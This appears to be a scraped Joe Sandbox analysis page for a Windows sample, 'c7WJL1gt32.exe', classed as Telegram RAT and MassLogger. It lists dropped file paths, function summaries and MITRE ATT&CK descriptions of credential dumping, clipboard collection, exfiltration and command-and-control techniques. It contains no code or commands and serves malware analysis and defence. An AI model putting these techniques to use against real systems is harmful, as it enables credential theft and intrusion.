Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report c7WJL1gt32.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

C:\Users\user\AppData\Local\Iw\Bombestoppets\Katolicere.Kup

C:\Users\user\AppData\Local\Iw\Bombestoppets\Kbmandsskole.str

C:\Users\user\AppData\Local\Iw\Bombestoppets\Sensuousnesses.opk

C:\Users\user\AppData\Local\Iw\Bombestoppets\prepares.pli

C:\Users\user\AppData\Local\Iw\Klunken.Pet

C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsj8EFC.tmp

Static File Info

General

File Icon

Windows Analysis Report
c7WJL1gt32.exe

Function 004034A5 Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 410
stringfilecomCOMMON

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00406943 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 198
COMMON

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Function 00402F30 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 203
memoryCOMMON

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 0040591F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 6CF11777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004032DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101
COMMON

Function 00402032 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73
libraryCOMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre